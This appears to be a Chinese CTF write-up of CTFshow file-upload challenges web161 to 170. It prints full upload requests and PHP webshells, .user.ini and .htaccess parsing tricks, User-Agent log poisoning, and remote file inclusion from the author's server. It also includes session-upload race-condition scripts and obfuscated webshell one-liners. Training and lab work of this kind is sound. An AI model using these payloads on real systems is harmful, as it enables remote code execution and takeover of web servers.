CTFshow-文件上传web161-170

web161 添加GIF98a 头 内容过滤很多

一开始发现不管输入什么都不行 ,添加了GIF头成功通过上传校验
image.png

POST /upload.php HTTP/1.1
Host: 5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Content-Length: 217
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0OmUVRHeN6PWGoUA
Origin: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Referer: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF98a
auto_prepend_file=aaa.png

------WebKitFormBoundary0OmUVRHeN6PWGoUA--

第二步上传 图片,包含了日志的文件 进行解析
image.png

POST /upload.php HTTP/1.1
Host: 5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Content-Length: 235
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0OmUVRHeN6PWGoUA
Origin: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Referer: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename="aaa.png"
Content-Type: image/png

GIF98a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

------WebKitFormBoundary0OmUVRHeN6PWGoUA--

第三步访问 /upload 目录会解析 日志文件
添加user-agent 头里面 添加一句话

user-agent: <?php eval($_POST[1]);?>

image.png
第四步 连接shell 获取flag
image.png

web162-163 远程文件包含 条件竞争

远程文件包含

先上传 user.ini
image.png
发现存在. 就报错 ,不输入点 看看
image.png
成功上传 .user.ini
再上传aa ,这里是aa 不是 aa.png 了
远程文件包含

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename="aa"
Content-Type: image/png

GIF98a
<?=include'http://804006196'?>

------WebKitFormBoundary0OmUVRHeN6PWGoUA--

image.png
这里的<?=include'[http://804006196'?>](http://804006196’?>)
这个是ip地址转换来的
IP转换工具 | IP地址 (简体中文) 🔍image.png
发送成功 看看是否包含了
image.png
可以发现他成功上传了 ,并包含了 ,但是没有发现这个文件 ,我们之间在vps上面改为一句话
image.png
去访问在执行
1=system(“tac …/flag”) ;
就可以,但是这里不成功 ,不晓得为什么。一直报错,我服务器php也已经全都开启了 (换了版本也不行)

条件竞争文件上传

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://c903daed-5ba3-4151-8d84-b925752e59ba.challenge.ctf.show/"
url2="http://c903daed-5ba3-4151-8d84-b925752e59ba.challenge.ctf.show/upload"
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
    'file':'yu22x'
}
cookies={
    'PHPSESSID': sess
}

def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
    while True:
        r = session.get(url2)
        if 'flag' in r.text:
            print(r.text)

threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
    t.start()
import io
import sys
import requests
import threading

host = 'http://c903daed-5ba3-4151-8d84-b925752e59ba.challenge.ctf.show/'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat ../fl*');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

两个脚本 ,都没成功可能是没到开放条件竞争的时候

web164 二次渲染

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,"shell.png");

?>


#<?=$_GET[0]($_POST[1]);?>

生成图片的脚本
但是依旧没成功 说是没有成功执行 1这个参数

web165 二次渲染

复现不成功
参考:
image.png
服务器里面存在脚本

166 zip 上传

image.png
允许上传zip文件
image.png

image.png
上传的文件可以下载可能存在文件包含
image.png
直接上传一句话看看解析不解析
image.png
他解析了GIF98a 但是php又报错了
直接上传system
image.png
看看ls
image.png
成功执行 ls的
image.png
查看flag


------WebKitFormBoundarybttMK8ngmugY3QCS
Content-Disposition: form-data; name="file"; filename="t.zip"
Content-Type: application/x-zip-compressed

GIF98a
<?=system("tac /var/www/html/flag.php");?>
------WebKitFormBoundarybttMK8ngmugY3QCS--

image.png

167 上传.htaccess 绕过

image.png
提示httpd ,可能是上传 .htaccess 进行绕过

先上传带有木马的图片马
先上传一张图片
image.png
然后存在一个文件下载的方式接口
image.png
image.png
上传成功 再上传 .htaccess 文件

.htaccess

利于apache的解析漏洞 添加htaccess 方式一 将png解析成php

AddType application/x-httpd-php png
APPLESCRIPT

方式二

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

image.png

POST /upload.php HTTP/1.1
Host: 0d311094-d8e4-4231-9452-5b236373fdf6.challenge.ctf.show
Content-Length: 233
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVUNSa2445pXFWcvA
Origin: http://0d311094-d8e4-4231-9452-5b236373fdf6.challenge.ctf.show
Referer: http://0d311094-d8e4-4231-9452-5b236373fdf6.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryVUNSa2445pXFWcvA
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryVUNSa2445pXFWcvA--

上传方式二 ,不知道为什么方式一不成功解析
image.png
访问获取 flag

web168 内容检测 免杀

image.png
提示基础免杀 可能存在过滤
image.png
报错
image.png
这样成功上传
image.png
system就报错了 这里猜测可能是过滤了 函数这些
使用反引号 绕过
image.png
image.png
image.png
改为 查看flag
image.png

基础的一句话 免杀

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
PHP
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
PHP
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
PHP
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
PHP

web169 -170 日志文件包含

image.png
高级免杀
image.png上传前面的脚本发现不行
image.png
连<>这两个都过滤l

使用最前面的log日志文件包含
由于upload 下面没有php文件,先上传一个index.php 文件 内容无所谓
image.png
再上传 .user.ini

POST /upload.php HTTP/1.1
Host: db7d68b3-fc5e-4d09-b823-c87babc675dc.challenge.ctf.show
Content-Length: 227
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: <?=system('ls /');?>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRoJI7cskRPjH9dQZ
Origin: http://abe6959f-9cc7-4942-98a4-b9fbb0385b4b.challenge.ctf.show
Referer: http://abe6959f-9cc7-4942-98a4-b9fbb0385b4b.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryRoJI7cskRPjH9dQZ
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_append_file=/var/log/nginx/access.log

------WebKitFormBoundaryRoJI7cskRPjH9dQZ--

user-agent 里面的一句话木马

image.png
然后访问upload
image.png
这里成功执行了
image.png
查询flag

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值